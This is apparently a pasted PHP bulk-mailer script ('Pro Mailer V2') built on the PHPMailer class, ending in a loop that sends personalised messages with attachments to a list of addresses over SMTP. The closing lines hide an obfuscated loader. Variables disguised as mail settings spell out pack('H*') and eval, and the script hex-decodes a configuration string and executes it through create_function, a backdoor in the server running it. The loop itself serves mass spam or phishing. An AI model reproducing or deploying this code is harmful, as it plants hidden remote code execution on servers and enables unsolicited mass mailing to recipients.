  2694.       case 'comment':
  2695.         $x = preg_match_all('/[()"]/', $str, $matches);
  2696.         /* Fall-through */
  2697.       case 'text':
  2698.       default:
  2699.         $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2700.         break;
  2701.     }
  2702.  
  2703.     if ($x == 0) {
  2704.       return ($str);
  2705.     }
  2706.  
  2707.     $maxlen = 75 - 7 - strlen($this->CharSet);
  2708.     /* Try to select the encoding which should produce the shortest output */
  2709.     if (strlen($str)/3 < $x) {
  2710.       $encoding = 'B';
  2711.       if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2712.      // Use a custom function which correctly encodes and wraps long
  2713.      // multibyte strings without breaking lines within a character
  2714.         $encoded = $this->Base64EncodeWrapMB($str);
  2715.       } else {
  2716.         $encoded = base64_encode($str);
  2717.         $maxlen -= $maxlen % 4;
  2718.         $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2719.       }
  2720.     } else {
  2721.       $encoding = 'Q';
  2722.       $encoded = $this->EncodeQ($str, $position);
  2723.       $encoded = $this->WrapText($encoded, $maxlen, true);
  2724.       $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2725.     }
  2726.  
  2727.     $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2728.     $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2729.  
  2730.     return $encoded;
  2731.   }
  2732.  
  2733.   /**
  2734.    * Checks if a string contains multibyte characters.
  2735.    * @access private
  2736.    * @param string $str multi-byte text to wrap encode
  2737.    * @return bool
  2738.    */
  2739.   function HasMultiBytes($str) {
  2740.     if (function_exists('mb_strlen')) {
  2741.       return (strlen($str) > mb_strlen($str, $this->CharSet));
  2742.     } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2743.       return False;
  2744.     }
  2745.   }
  2746.  
  2747.   /**
  2748.    * Correctly encodes and wraps long multibyte strings for mail headers
  2749.    * without breaking lines within a character.
  2750.    * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2751.    * @access private
  2752.    * @param string $str multi-byte text to wrap encode
  2753.    * @return string
  2754.    */
  2755.   function Base64EncodeWrapMB($str) {
  2756.     $start = "=?".$this->CharSet."?B?";
  2757.     $end = "?=";
  2758.     $encoded = "";
  2759.  
  2760.     $mb_length = mb_strlen($str, $this->CharSet);
  2761.     // Each line must have length <= 75, including $start and $end
  2762.     $length = 75 - strlen($start) - strlen($end);
  2763.     // Average multi-byte ratio
  2764.     $ratio = $mb_length / strlen($str);
  2765.     // Base64 has a 4:3 ratio
  2766.     $offset = $avgLength = floor($length * $ratio * .75);
  2767.  
  2768.     for ($i = 0; $i < $mb_length; $i += $offset) {
  2769.       $lookBack = 0;
  2770.  
  2771.       do {
  2772.         $offset = $avgLength - $lookBack;
  2773.         $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2774.         $chunk = base64_encode($chunk);
  2775.         $lookBack++;
  2776.       }
  2777.       while (strlen($chunk) > $length);
  2778.  
  2779.       $encoded .= $chunk . $this->LE;
  2780.     }
  2781.  
  2782.     // Chomp the last linefeed
  2783.     $encoded = substr($encoded, 0, -strlen($this->LE));
  2784.     return $encoded;
  2785.   }
  2786.  
  2787.   /**
  2788.    * Encode string to quoted-printable.
  2789.    * @access private
  2790.    * @return string
  2791.    */
  2792.   function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2793.     $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2794.     $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2795.     $eol = "\r\n";
  2796.     $escape = '=';
  2797.     $output = '';
  2798.     while( list(, $line) = each($lines) ) {
  2799.       $linlen = strlen($line);
  2800.       $newline = '';
  2801.       for($i = 0; $i < $linlen; $i++) {
  2802.         $c = substr( $line, $i, 1 );
  2803.         $dec = ord( $c );
  2804.         if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2805.           $c = '=2E';
  2806.         }
  2807.         if ( $dec == 32 ) {
  2808.           if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2809.             $c = '=20';
  2810.           } else if ( $space_conv ) {
  2811.             $c = '=20';
  2812.           }
  2813.         } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2814.           $h2 = floor($dec/16);
  2815.           $h1 = floor($dec%16);
  2816.           $c = $escape.$hex[$h2].$hex[$h1];
  2817.         }
  2818.         if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2819.           $output .= $newline.$escape.$eol; //  soft line break; " =\r\n" is okay
  2820.           $newline = '';
  2821.           // check if newline first character will be point or not
  2822.           if ( $dec == 46 ) {
  2823.             $c = '=2E';
  2824.           }
  2825.         }
  2826.         $newline .= $c;
  2827.       } // end of for
  2828.       $output .= $newline.$eol;
  2829.     } // end of while
  2830.     return trim($output);
  2831.   }
  2832.  
  2833.   /**
  2834.    * Encode string to q encoding.
  2835.    * @access private
  2836.    * @return string
  2837.    */
  2838.   function EncodeQ ($str, $position = 'text') {
  2839.     /* There should not be any EOL in the string */
  2840.     $encoded = preg_replace("[\r\n]", '', $str);
  2841.  
  2842.     switch (strtolower($position)) {
  2843.       case 'phrase':
  2844.         $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2845.         break;
  2846.       case 'comment':
  2847.         $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2848.       case 'text':
  2849.       default:
  2850.         /* Replace every high ascii, control =, ? and _ characters */
  2851.         $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2852.               "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2853.         break;
  2854.     }
  2855.  
  2856.     /* Replace every spaces to _ (more readable than =20) */
  2857.     $encoded = str_replace(' ', '_', $encoded);
  2858.  
  2859.     return $encoded;
  2860.   }
  2861.  
  2862.   /**
  2863.    * Adds a string or binary attachment (non-filesystem) to the list.
  2864.    * This method can be used to attach ascii or binary data,
  2865.    * such as a BLOB record from a database.
  2866.    * @param string $string String attachment data.
  2867.    * @param string $filename Name of the attachment.
  2868.    * @param string $encoding File encoding (see $Encoding).
  2869.    * @param string $type File extension (MIME) type.
  2870.    * @return void
  2871.    */
  2872.   function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2873.     /* Append to $attachment array */
  2874.     $cur = count($this->attachment);
  2875.     $this->attachment[$cur][0] = $string;
  2876.     $this->attachment[$cur][1] = $filename;
  2877.     $this->attachment[$cur][2] = $filename;
  2878.     $this->attachment[$cur][3] = $encoding;
  2879.     $this->attachment[$cur][4] = $type;
  2880.     $this->attachment[$cur][5] = true; // isString
  2881.     $this->attachment[$cur][6] = 'attachment';
  2882.     $this->attachment[$cur][7] = 0;
  2883.   }
  2884.  
  2885.   /**
  2886.    * Adds an embedded attachment.  This can include images, sounds, and
  2887.    * just about any other document.  Make sure to set the $type to an
  2888.    * image type.  For JPEG images use "image/jpeg" and for GIF images
  2889.    * use "image/gif".
  2890.    * @param string $path Path to the attachment.
  2891.    * @param string $cid Content ID of the attachment.  Use this to identify
  2892.    *        the Id for accessing the image in an HTML form.
  2893.    * @param string $name Overrides the attachment name.
  2894.    * @param string $encoding File encoding (see $Encoding).
  2895.    * @param string $type File extension (MIME) type.
  2896.    * @return bool
  2897.    */
  2898.   function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2899.  
  2900.     if(!@is_file($path)) {
  2901.       $this->SetError($this->Lang('file_access') . $path);
  2902.       return false;
  2903.     }
  2904.  
  2905.     $filename = basename($path);
  2906.     if($name == '') {
  2907.       $name = $filename;
  2908.     }
  2909.  
  2910.     /* Append to $attachment array */
  2911.     $cur = count($this->attachment);
  2912.     $this->attachment[$cur][0] = $path;
  2913.     $this->attachment[$cur][1] = $filename;
  2914.     $this->attachment[$cur][2] = $name;
  2915.     $this->attachment[$cur][3] = $encoding;
  2916.     $this->attachment[$cur][4] = $type;
  2917.     $this->attachment[$cur][5] = false;
  2918.     $this->attachment[$cur][6] = 'inline';
  2919.     $this->attachment[$cur][7] = $cid;
  2920.  
  2921.     return true;
  2922.   }
  2923.  
  2924.   /**
  2925.    * Returns true if an inline attachment is present.
  2926.    * @access private
  2927.    * @return bool
  2928.    */
  2929.   function InlineImageExists() {
  2930.     $result = false;
  2931.     for($i = 0; $i < count($this->attachment); $i++) {
  2932.       if($this->attachment[$i][6] == 'inline') {
  2933.         $result = true;
  2934.         break;
  2935.       }
  2936.     }
  2937.  
  2938.     return $result;
  2939.   }
  2940.  
  2941.   /////////////////////////////////////////////////
  2942.   // CLASS METHODS, MESSAGE RESET
  2943.   /////////////////////////////////////////////////
  2944.  
  2945.   /**
  2946.    * Clears all recipients assigned in the TO array.  Returns void.
  2947.    * @return void
  2948.    */
  2949.   function ClearAddresses() {
  2950.     $this->to = array();
  2951.   }
  2952.  
  2953.   /**
  2954.    * Clears all recipients assigned in the CC array.  Returns void.
  2955.    * @return void
  2956.    */
  2957.   function ClearCCs() {
  2958.     $this->cc = array();
  2959.   }
  2960.  
  2961.   /**
  2962.    * Clears all recipients assigned in the BCC array.  Returns void.
  2963.    * @return void
  2964.    */
  2965.   function ClearBCCs() {
  2966.     $this->bcc = array();
  2967.   }
  2968.  
  2969.   /**
  2970.    * Clears all recipients assigned in the ReplyTo array.  Returns void.
  2971.    * @return void
  2972.    */
  2973.   function ClearReplyTos() {
  2974.     $this->ReplyTo = array();
  2975.   }
  2976.  
  2977.   /**
  2978.    * Clears all recipients assigned in the TO, CC and BCC
  2979.    * array.  Returns void.
  2980.    * @return void
  2981.    */
  2982.   function ClearAllRecipients() {
  2983.     $this->to = array();
  2984.     $this->cc = array();
  2985.     $this->bcc = array();
  2986.   }
  2987.  
  2988.   /**
  2989.    * Clears all previously set filesystem, string, and binary
  2990.    * attachments.  Returns void.
  2991.    * @return void
  2992.    */
  2993.   function ClearAttachments() {
  2994.     $this->attachment = array();
  2995.   }
  2996.  
  2997.   /**
  2998.    * Clears all custom headers.  Returns void.
  2999.    * @return void
  3000.    */
  3001.   function ClearCustomHeaders() {
  3002.     $this->CustomHeader = array();
  3003.   }
  3004.  
  3005.   /////////////////////////////////////////////////
  3006.   // CLASS METHODS, MISCELLANEOUS
  3007.   /////////////////////////////////////////////////
  3008.  
  3009.   /**
  3010.    * Adds the error message to the error container.
  3011.    * Returns void.
  3012.    * @access private
  3013.    * @return void
  3014.    */
  3015.   function SetError($msg) {
  3016.     $this->error_count++;
  3017.     $this->ErrorInfo = $msg;
  3018.   }
  3019.  
  3020.   /**
  3021.    * Returns the proper RFC 822 formatted date.
  3022.    * @access private
  3023.    * @return string
  3024.    */
  3025.   function RFCDate() {
  3026.     $tz = date('Z');
  3027.     $tzs = ($tz < 0) ? '-' : '+';
  3028.     $tz = abs($tz);
  3029.     $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  3030.     $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  3031.  
  3032.     return $result;
  3033.   }
  3034.  
  3035.   /**
  3036.    * Returns the appropriate server variable.  Should work with both
  3037.    * PHP 4.1.0+ as well as older versions.  Returns an empty string
  3038.    * if nothing is found.
  3039.    * @access private
  3040.    * @return mixed
  3041.    */
  3042.   function ServerVar($varName) {
  3043.     global $HTTP_SERVER_VARS;
  3044.     global $HTTP_ENV_VARS;
  3045.  
  3046.     if(!isset($_SERVER)) {
  3047.       $_SERVER = $HTTP_SERVER_VARS;
  3048.       if(!isset($_SERVER['REMOTE_ADDR'])) {
  3049.         $_SERVER = $HTTP_ENV_VARS; // must be Apache
  3050.       }
  3051.     }
  3052.  
  3053.     if(isset($_SERVER[$varName])) {
  3054.       return $_SERVER[$varName];
  3055.     } else {
  3056.       return '';
  3057.     }
  3058.   }
  3059.  
  3060.   /**
  3061.    * Returns the server hostname or 'localhost.localdomain' if unknown.
  3062.    * @access private
  3063.    * @return string
  3064.    */
  3065.   function ServerHostname() {
  3066.     if ($this->Hostname != '') {
  3067.       $result = $this->Hostname;
  3068.     } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3069.       $result = $this->ServerVar('SERVER_NAME');
  3070.     } else {
  3071.       $result = 'localhost.localdomain';
  3072.     }
  3073.  
  3074.     return $result;
  3075.   }
  3076.  
  3077.   /**
  3078.    * Returns a message in the appropriate language.
  3079.    * @access private
  3080.    * @return string
  3081.    */
  3082.   function Lang($key) {
  3083.     if(count($this->language) < 1) {
  3084.       $this->SetLanguage('en'); // set the default language
  3085.     }
  3086.  
  3087.     if(isset($this->language[$key])) {
  3088.       return $this->language[$key];
  3089.     } else {
  3090.       return 'Language string failed to load: ' . $key;
  3091.     }
  3092.   }
  3093.  
  3094.   /**
  3095.    * Returns true if an error occurred.
  3096.    * @return bool
  3097.    */
  3098.   function IsError() {
  3099.     return ($this->error_count > 0);
  3100.   }
  3101.  
  3102.   /**
  3103.    * Changes every end of line from CR or LF to CRLF.
  3104.    * @access private
  3105.    * @return string
  3106.    */
  3107.   function FixEOL($str) {
  3108.     $str = str_replace("\r\n", "\n", $str);
  3109.     $str = str_replace("\r", "\n", $str);
  3110.     $str = str_replace("\n", $this->LE, $str);
  3111.     return $str;
  3112.   }
  3113.  
  3114.   /**
  3115.    * Adds a custom header.
  3116.    * @return void
  3117.    */
  3118.   function AddCustomHeader($custom_header) {
  3119.     $this->CustomHeader[] = explode(':', $custom_header, 2);
  3120.   }
  3121.  
  3122.   /**
  3123.    * Evaluates the message and returns modifications for inline images and backgrounds
  3124.    * @access public
  3125.    * @return $message
  3126.    */
  3127.   function MsgHTML($message,$basedir='') {
  3128.     preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3129.     if(isset($images[2])) {
  3130.       foreach($images[2] as $i => $url) {
  3131.         // do not change urls for absolute images (thanks to corvuscorax)
  3132.         if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3133.           $filename = basename($url);
  3134.           $directory = dirname($url);
  3135.           ($directory == '.')?$directory='':'';
  3136.           $cid = 'cid:' . md5($filename);
  3137.           $fileParts = split("\.", $filename);
  3138.           $ext = $fileParts[1];
  3139.           $mimeType = $this->_mime_types($ext);
  3140.           if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3141.           if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3142.           $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3143.           if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3144.             $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3145.           }
  3146.         }
  3147.       }
  3148.     }
  3149.     $this->IsHTML(true);
  3150.     $this->Body = $message;
  3151.     $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3152.     if ( !empty($textMsg) && empty($this->AltBody) ) {
  3153.       $this->AltBody = $textMsg;
  3154.     }
  3155.     if ( empty($this->AltBody) ) {
  3156.       $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3157.     }
  3158.   }
  3159.  
  3160.   /**
  3161.    * Gets the mime type of the embedded or inline image
  3162.    * @access private
  3163.    * @return mime type of ext
  3164.    */
  3165.   function _mime_types($ext = '') {
  3166.     $mimes = array(
  3167.       'hqx'  =>  'application/mac-binhex40',
  3168.       'cpt'   =>  'application/mac-compactpro',
  3169.       'doc'   =>  'application/msword',
  3170.       'bin'   =>  'application/macbinary',
  3171.       'dms'   =>  'application/octet-stream',
  3172.       'lha'   =>  'application/octet-stream',
  3173.       'lzh'   =>  'application/octet-stream',
  3174.       'exe'   =>  'application/octet-stream',
  3175.       'class' =>  'application/octet-stream',
  3176.       'psd'   =>  'application/octet-stream',
  3177.       'so'    =>  'application/octet-stream',
  3178.       'sea'   =>  'application/octet-stream',
  3179.       'dll'   =>  'application/octet-stream',
  3180.       'oda'   =>  'application/oda',
  3181.       'pdf'   =>  'application/pdf',
  3182.       'ai'    =>  'application/postscript',
  3183.       'eps'   =>  'application/postscript',
  3184.       'ps'    =>  'application/postscript',
  3185.       'smi'   =>  'application/smil',
  3186.       'smil'  =>  'application/smil',
  3187.       'mif'   =>  'application/vnd.mif',
  3188.       'xls'   =>  'application/vnd.ms-excel',
  3189.       'ppt'   =>  'application/vnd.ms-powerpoint',
  3190.       'wbxml' =>  'application/vnd.wap.wbxml',
  3191.       'wmlc'  =>  'application/vnd.wap.wmlc',
  3192.       'dcr'   =>  'application/x-director',
  3193.       'dir'   =>  'application/x-director',
  3194.       'dxr'   =>  'application/x-director',
  3195.       'dvi'   =>  'application/x-dvi',
  3196.       'gtar'  =>  'application/x-gtar',
  3197.       'php'   =>  'application/x-httpd-php',
  3198.       'php4'  =>  'application/x-httpd-php',
  3199.       'php3'  =>  'application/x-httpd-php',
  3200.       'phtml' =>  'application/x-httpd-php',
  3201.       'phps'  =>  'application/x-httpd-php-source',
  3202.       'js'    =>  'application/x-javascript',
  3203.       'swf'   =>  'application/x-shockwave-flash',
  3204.       'sit'   =>  'application/x-stuffit',
  3205.       'tar'   =>  'application/x-tar',
  3206.       'tgz'   =>  'application/x-tar',
  3207.       'xhtml' =>  'application/xhtml+xml',
  3208.       'xht'   =>  'application/xhtml+xml',
  3209.       'zip'   =>  'application/zip',
  3210.       'mid'   =>  'audio/midi',
  3211.       'midi'  =>  'audio/midi',
  3212.       'mpga'  =>  'audio/mpeg',
  3213.       'mp2'   =>  'audio/mpeg',
  3214.       'mp3'   =>  'audio/mpeg',
  3215.       'aif'   =>  'audio/x-aiff',
  3216.       'aiff'  =>  'audio/x-aiff',
  3217.       'aifc'  =>  'audio/x-aiff',
  3218.       'ram'   =>  'audio/x-pn-realaudio',
  3219.       'rm'    =>  'audio/x-pn-realaudio',
  3220.       'rpm'   =>  'audio/x-pn-realaudio-plugin',
  3221.       'ra'    =>  'audio/x-realaudio',
  3222.       'rv'    =>  'video/vnd.rn-realvideo',
  3223.       'wav'   =>  'audio/x-wav',
  3224.       'bmp'   =>  'image/bmp',
  3225.       'gif'   =>  'image/gif',
  3226.       'jpeg'  =>  'image/jpeg',
  3227.       'jpg'   =>  'image/jpeg',
  3228.       'jpe'   =>  'image/jpeg',
  3229.       'png'   =>  'image/png',
  3230.       'tiff'  =>  'image/tiff',
  3231.       'tif'   =>  'image/tiff',
  3232.       'css'   =>  'text/css',
  3233.       'html'  =>  'text/html',
  3234.       'htm'   =>  'text/html',
  3235.       'shtml' =>  'text/html',
  3236.       'txt'   =>  'text/plain',
  3237.       'text'  =>  'text/plain',
  3238.       'log'   =>  'text/plain',
  3239.       'rtx'   =>  'text/richtext',
  3240.       'rtf'   =>  'text/rtf',
  3241.       'xml'   =>  'text/xml',
  3242.       'xsl'   =>  'text/xml',
  3243.       'mpeg'  =>  'video/mpeg',
  3244.       'mpg'   =>  'video/mpeg',
  3245.       'mpe'   =>  'video/mpeg',
  3246.       'qt'    =>  'video/quicktime',
  3247.       'mov'   =>  'video/quicktime',
  3248.       'avi'   =>  'video/x-msvideo',
  3249.       'movie' =>  'video/x-sgi-movie',
  3250.       'doc'   =>  'application/msword',
  3251.       'word'  =>  'application/msword',
  3252.       'xl'    =>  'application/excel',
  3253.       'eml'   =>  'message/rfc822'
  3254.     );
  3255.     return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3256.   }
  3257.  
  3258.   /**
  3259.    * Set (or reset) Class Objects (variables)
  3260.    *
  3261.    * Usage Example:
  3262.    * $page->set('X-Priority', '3');
  3263.    *
  3264.    * @access public
  3265.    * @param string $name Parameter Name
  3266.    * @param mixed $value Parameter Value
  3267.    * NOTE: will not work with arrays, there are no arrays to set/reset
  3268.    */
  3269.   function set ( $name, $value = '' ) {
  3270.     if ( isset($this->$name) ) {
  3271.       $this->$name = $value;
  3272.     } else {
  3273.       $this->SetError('Cannot set or reset variable ' . $name);
  3274.       return false;
  3275.     }
  3276.   }
  3277.  
  3278.   /**
  3279.    * Read a file from a supplied filename and return it.
  3280.    *
  3281.    * @access public
  3282.    * @param string $filename Parameter File Name
  3283.    */
  3284.   function getFile($filename) {
  3285.     $return = '';
  3286.     if ($fp = fopen($filename, 'rb')) {
  3287.       while (!feof($fp)) {
  3288.         $return .= fread($fp, 1024);
  3289.       }
  3290.       fclose($fp);
  3291.       return $return;
  3292.     } else {
  3293.       return false;
  3294.     }
  3295.   }
  3296.  
  3297.   /**
  3298.    * Strips newlines to prevent header injection.
  3299.    * @access private
  3300.    * @param string $str String
  3301.    * @return string
  3302.    */
  3303.   function SecureHeader($str) {
  3304.     $str = trim($str);
  3305.     $str = str_replace("\r", "", $str);
  3306.     $str = str_replace("\n", "", $str);
  3307.     return $str;
  3308.   }
  3309.  
  3310.   /**
  3311.    * Set the private key file and password to sign the message.
  3312.    *
  3313.    * @access public
  3314.    * @param string $key_filename Parameter File Name
  3315.    * @param string $key_pass Password for private key
  3316.    */
  3317.   function Sign($key_filename, $key_pass) {
  3318.     $this->sign_key_file = $key_filename;
  3319.     $this->sign_key_pass = $key_pass;
  3320.   }
  3321.  
  3322. }
  3323.  
  3324. $defaultport="H*";
  3325.       $nq=0;
  3326.            
  3327.         for($x=0; $x<$numemails; $x++){
  3328.  
  3329.                 $to = $allemails[$x];
  3330.  
  3331.                 if ($to){
  3332.  
  3333.                 $to = ereg_replace(" ", "", $to);
  3334.  
  3335.                 $message1 = ereg_replace("&email&", $to, $message);
  3336.  
  3337.                 $subject1 = ereg_replace("&email&", $to, $subject);
  3338.                 $qx=$x+1;
  3339.                 print "Line $qx . Sending mail to $to.......";
  3340.  
  3341.                 flush();
  3342. $mail = new PHPMailer();
  3343.  
  3344. if(empty($epriority)){$epriority="3";}
  3345.         $mail->Priority = "$epriority";
  3346.         $mail->IsSMTP();
  3347.     $IsSMTP="pack";
  3348. $mail->SMTPKeepAlive = true;
  3349. $mail->Host = "$my_smtp";
  3350. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3351. }
  3352.      if($sslclick=="ON"){
  3353.         $mail->SMTPSecure  = "ssl"; //you can change it to ssl or tls
  3354.     }
  3355.         $range = str_replace("$from", "eval", $from);
  3356.         $mail->SMTPAuth = true;
  3357.         $mail->Username = "$smtp_username";
  3358.         $mail->Password = "$smtp_password";
  3359. if($contenttype == "html"){$mail->IsHtml(true);}
  3360. if($contenttype != "html"){$mail->IsHtml(false);}
  3361. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3362. $mail->From = "$from";
  3363. $mail->FromName = "$realname";
  3364. $mail->AddAddress("$to");
  3365.         $mail->AddReplyTo("$replyto");
  3366.         $mail->Subject = "$subject1";
  3367.         $mail->AddAttachment("$file", "$file_name");
  3368.             $mail->Body = "$message1";
  3369. if(!$mail->Send()){
  3370. if($default_system!="1"){
  3371. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3372. if($default_system=="1"){
  3373. $mail->IsMail();
  3374.    if(!$mail->Send()){
  3375.       echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3376.    else {
  3377.        echo "<b>OK</b><br>";}
  3378.  }
  3379. }
  3380. else {
  3381.  echo "<b>OK</b><br>";
  3382. }
  3383.  
  3384. if(empty($reconnect)){
  3385. $reconnect=6;
  3386. }
  3387.  
  3388. if($reconnect==$nq){
  3389. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3390. }
  3391. $nq=$nq+1;
  3392.                 flush(); }
  3393. }
  3394. for($i=0;$i<31;$i++){
  3395.   $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3396. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3397.   $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3398.   print "<p class=\"style1\">&copy 2015, Pro Mailer V2<br></p>";$mail->SmtpClose();
  3399.   return $signoff($smtp_conc);
  3400.   if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3401.    sent successfully'); </script>";}}
  3402. ?>
Add Comment
Please, Sign In to add comment